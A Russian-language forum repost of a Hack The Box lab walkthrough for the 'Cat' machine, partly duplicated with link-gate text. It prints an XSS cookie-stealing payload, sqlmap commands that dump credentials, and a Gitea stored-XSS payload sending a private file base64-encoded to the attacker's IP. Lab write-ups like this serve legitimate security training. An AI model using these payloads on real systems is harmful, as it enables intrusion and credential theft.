stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу процесс эксплуатации двух XSS-уязвимостей: сначала в веб‑приложении, что позволит нам получить сессию администратора, а затем — в репозитории Gitea, чтобы повысить привилегии в Linux. Также нам понадобится использовать SQL-инъекцию, чтобы получить учетные данные приложения.
Наша конечная цель — получение прав суперпользователя на машине Cat с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень ее сложности — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
или Зарегистрируйся.
Копирование репозитория
Открываем каталог с репозиторием в VS Code и смотрим историю коммитов. Находим всего один коммит, а значит, никаких «старых» и «тестовых» учетных данных мы не получим.
Для просмотра ссылки Войдиили Зарегистрируйся
Но заполучить исходный код веб‑приложения — уже большая удача. Изучим интерфейс сайта, чтобы отметить интересные страницы и функции. В файле vote.php реализовано голосование за котов.
Содержимое страницы vote.php
Также мы можем зарегистрироваться на сайте. Как правило, авторизованному пользователю доступно больше функций, чем обычному посетителю.
Страница авторизации
Содержимое файла join.php
В файле accept_cat.php данные, полученные в POST-параметре catName, передаются непосредственно в SQL-запрос к базе данных (строка 10). Однако проэксплуатировать эту SQL-инъекцию мы можем только от имени пользователя axel (строка 5).
Содержимое файла accept_cat.php
Запустим веб‑сервер на своей машине:
И зарегистрируем пользователя, в имени которого впишем обычную нагрузку XSS, передающую на наш сервер куки пользователя.
asd<script>fetch('Для просмотра ссылки Войдиили Зарегистрируйся</script>
Форма регистрации
Затем на странице Contest зарегистрируем кота. Если администратор рассматривает заявки, наша нагрузка должна будет сработать.
Форма регистрации
В течение нескольких секунд в логах веб‑сервера появится запрос с идентификатором сессии администратора.
Логи веб‑сервера
Открываем панель разработчика в браузере, переходим к локальному хранилищу и вписываем полученные куки.
Панель разработчика
Обновляем страницу и видим, что появилось меню администратора, а значит, куки применились.
Страница администратора
или Зарегистрируйся.
или Зарегистрируйся».
Передаем утилите URL (параметр -u), данные (--data), идентификатор сессии в --cookie, а также уязвимый параметр (-p). Чтобы на каждый вопрос от sqlmap выбирался ответ по умолчанию, необходимо задать флаг --batch. Чтобы сразу получить имена всех таблиц, добавим флаг --tables.
Обнаруженная нагрузка
Спустя несколько минут sqlmap отобразит найденную нагрузку для уязвимости и начнет подбирать имена таблиц.
Таблицы в базе данных
Теперь сдампим из таблицы users все данные (параметры -T users --dump). Чтобы ускорить получение данных, установим количество потоков равное 10 (--threads).
Данные в таблице users
На сайте Для просмотра ссылки Войдиили Зарегистрируйся можно проверить MD5-хеши по базам. Так получаем пароль пользователя rosa.
Для просмотра ссылки Войдиили Зарегистрируйся
С этими учетными данными подключаемся по SSH и получаем сессию пользователя rosa.
Сессия пользователя rosa
ls -la /var/log/apache2/
Содержимое каталога /var/log/apache2/
Проверим, есть ли в логах какие‑то пароли или секреты. Часто бывает полезно пофильтровать по разным интересным подстрокам. Например, pass.
Результат фильтрации строк
Так находим пароль. Проверим, не является ли он системным. Для этого просмотрим список пользователей системы, у которых есть возможность использовать консоль.
Пользователи с консолью
Авторизуемся от имени пользователя axel и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе пытаемся найти информацию, которая поможет нам в эскалации привилегий.
Для локального хоста прослушивается порт 3000, а это обычно какое‑то веб‑приложение.
Открытые порты
У пользователя axel есть входящие сообщения.
Сообщения linux
Давай посмотрим их, прочитав файл /var/mail/axel. В сообщении от jobert@localhost говорится о сервисе, связанном с кошками, а также про репозиторий Gitea. При этом отдельно упоминается про четкое описание репозитория, который будет просмотрен. Чтобы это произошло, нужно только прислать пользователю ссылку на репозиторий.
В другом сообщении говорится про систему управления персоналом, доступную в Gitea по такому адресу:
Для просмотра ссылки Войдиили Зарегистрируйся
Содержимое файла /var/mail/axel
Для доступа к Gitea необходимо будет «прокинуть» порт 8080 на свой хост с помощью SSH.
После этого весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можем посмотреть на сервис через браузер. Авторизоваться можно от имени пользователя axel. Внизу страницы видим версию Gitea 1.22.0.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты.
Поиск эксплоитов в Google
Первая ссылка в Google приводит нас к уязвимости Для просмотра ссылки Войдиили Зарегистрируйся, а следом находим Для просмотра ссылки Войди или Зарегистрируйся эксплоита.
В Gitea 1.22.0 есть Stored XSS — в поле description репозиториев. Проверим, есть ли уязвимость в нашей версии. Для этого создадим тестовый репозиторий, в описании которого укажем нагрузку:
Затем зайдем в репозиторий и откроем описание.
Создание репозитория
Результат работы нагрузки
По аналогии создаем новый репозиторий, но используем другую нагрузку. Она будет выполнять запрос к индекс файлу в репозитории системы управления персоналом:
Содержимое репозитория кодируем в URLEncode и Base64, после чего отправляем на наш веб‑сервер. Также добавим в репозиторий любой файл.
Созданный репозиторий
Осталось отправить по адресу jobert@localhost ссылку на созданный репозиторий. В логах нашего веб‑сервера (python3 -m http.server) увидим запрос.
Логи веб‑сервера
Декодируем данные из Base64 и в исходном коде index.php находим пароль.
Результат декодирования данных
Этот пароль подошел к пользователю root.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Cat с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютера, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.53 cat.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Оно позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 7.9p1;
- 80 — веб‑сервер Apache 2.4.38.

Точка входа
Скачаем весь репозиторий на локальную машину с помощью Для просмотра ссылки Войдиgit-dumper [URL]http://cat.htb[/URL] cat

Открываем каталог с репозиторием в VS Code и смотрим историю коммитов. Находим всего один коммит, а значит, никаких «старых» и «тестовых» учетных данных мы не получим.
Для просмотра ссылки Войди
Но заполучить исходный код веб‑приложения — уже большая удача. Изучим интерфейс сайта, чтобы отметить интересные страницы и функции. В файле vote.php реализовано голосование за котов.

Также мы можем зарегистрироваться на сайте. Как правило, авторизованному пользователю доступно больше функций, чем обычному посетителю.

Точка опоры
Перейдем к анализу исходного кода. В файле join.php содержится обработчик запросов регистрации и авторизации. Переданные данные (например, имя пользователя) сохраняются в базе без проверок и изменений.
В файле accept_cat.php данные, полученные в POST-параметре catName, передаются непосредственно в SQL-запрос к базе данных (строка 10). Однако проэксплуатировать эту SQL-инъекцию мы можем только от имени пользователя axel (строка 5).

Запустим веб‑сервер на своей машине:
python3 -m http.server
И зарегистрируем пользователя, в имени которого впишем обычную нагрузку XSS, передающую на наш сервер куки пользователя.
asd<script>fetch('Для просмотра ссылки Войди

Затем на странице Contest зарегистрируем кота. Если администратор рассматривает заявки, наша нагрузка должна будет сработать.

В течение нескольких секунд в логах веб‑сервера появится запрос с идентификатором сессии администратора.

Открываем панель разработчика в браузере, переходим к локальному хранилищу и вписываем полученные куки.

Обновляем страницу и видим, что появилось меню администратора, а значит, куки применились.

SQL-инъекция
У нас есть сессия администратора, перейдем к эксплуатации SQL-инъекции. Для этого будем использовать Для просмотра ссылки Войдиinfo
Подробнее о том, что такое SQL-инъекции, и как они работают, читай в статье «Для просмотра ссылки ВойдиПередаем утилите URL (параметр -u), данные (--data), идентификатор сессии в --cookie, а также уязвимый параметр (-p). Чтобы на каждый вопрос от sqlmap выбирался ответ по умолчанию, необходимо задать флаг --batch. Чтобы сразу получить имена всех таблиц, добавим флаг --tables.
sqlmap -u '[URL]http://cat.htb/accept_cat.php[/URL]' --data="catId=123&catName=asd" --cookie='PHPSESSID=lpgf9osmou0p44q9a3e6a7qn13' -p "catName" --level=5 --risk=3 --dbms=SQLite --tables --batch

Спустя несколько минут sqlmap отобразит найденную нагрузку для уязвимости и начнет подбирать имена таблиц.

Теперь сдампим из таблицы users все данные (параметры -T users --dump). Чтобы ускорить получение данных, установим количество потоков равное 10 (--threads).
sqlmap -u '[URL]http://cat.htb/accept_cat.php[/URL]' --data="catId=123&catName=asd" --cookie='PHPSESSID=n149qi44a4ovss1qmdbm32a59g' -p "catName" --level=5 --risk=3 --threads 10 --dbms=SQLite -T users --dump --batch

На сайте Для просмотра ссылки Войди
Для просмотра ссылки Войди
С этими учетными данными подключаемся по SSH и получаем сессию пользователя rosa.

Продвижение
Наш пользователь состоит в группе adm, а значит, может читать многие логи, в том числе и логи веб‑сервера Apache.ls -la /var/log/apache2/

Проверим, есть ли в логах какие‑то пароли или секреты. Часто бывает полезно пофильтровать по разным интересным подстрокам. Например, pass.
cat /var/log/apache2/* | grep -i pass

Так находим пароль. Проверим, не является ли он системным. Для этого просмотрим список пользователей системы, у которых есть возможность использовать консоль.
cat /etc/passwd | grep bash

Авторизуемся от имени пользователя axel и забираем первый флаг.

Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе пытаемся найти информацию, которая поможет нам в эскалации привилегий.
Для локального хоста прослушивается порт 3000, а это обычно какое‑то веб‑приложение.

У пользователя axel есть входящие сообщения.

Давай посмотрим их, прочитав файл /var/mail/axel. В сообщении от jobert@localhost говорится о сервисе, связанном с кошками, а также про репозиторий Gitea. При этом отдельно упоминается про четкое описание репозитория, который будет просмотрен. Чтобы это произошло, нужно только прислать пользователю ссылку на репозиторий.
В другом сообщении говорится про систему управления персоналом, доступную в Gitea по такому адресу:
Для просмотра ссылки Войди

Для доступа к Gitea необходимо будет «прокинуть» порт 8080 на свой хост с помощью SSH.
ssh [EMAIL]axel@cat.htb[/EMAIL] -L 3000:127.0.0.1:3000
После этого весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можем посмотреть на сервис через браузер. Авторизоваться можно от имени пользователя axel. Внизу страницы видим версию Gitea 1.22.0.
Для просмотра ссылки Войди
Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты.

Первая ссылка в Google приводит нас к уязвимости Для просмотра ссылки Войди
В Gitea 1.22.0 есть Stored XSS — в поле description репозиториев. Проверим, есть ли уязвимость в нашей версии. Для этого создадим тестовый репозиторий, в описании которого укажем нагрузку:
<a href=javascript:alert()>XSS test</a>
Затем зайдем в репозиторий и откроем описание.


По аналогии создаем новый репозиторий, но используем другую нагрузку. Она будет выполнять запрос к индекс файлу в репозитории системы управления персоналом:
[URL unfurl="true"]http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php[/URL]
Содержимое репозитория кодируем в URLEncode и Base64, после чего отправляем на наш веб‑сервер. Также добавим в репозиторий любой файл.
<a href='javascript:fetch("[URL]http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php[/URL]").then(response=>response.text()).then(data=>fetch("[URL]http://10.10.16.30:8000/?data=[/URL]"+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>Description</a>

Осталось отправить по адресу jobert@localhost ссылку на созданный репозиторий. В логах нашего веб‑сервера (python3 -m http.server) увидим запрос.
echo -e "Subject: cve \n\nhttp://localhost:3000/axel/cve" | sendmail jobert@localhost

Декодируем данные из Base64 и в исходном коде index.php находим пароль.

Этот пароль подошел к пользователю root.

Машина захвачена!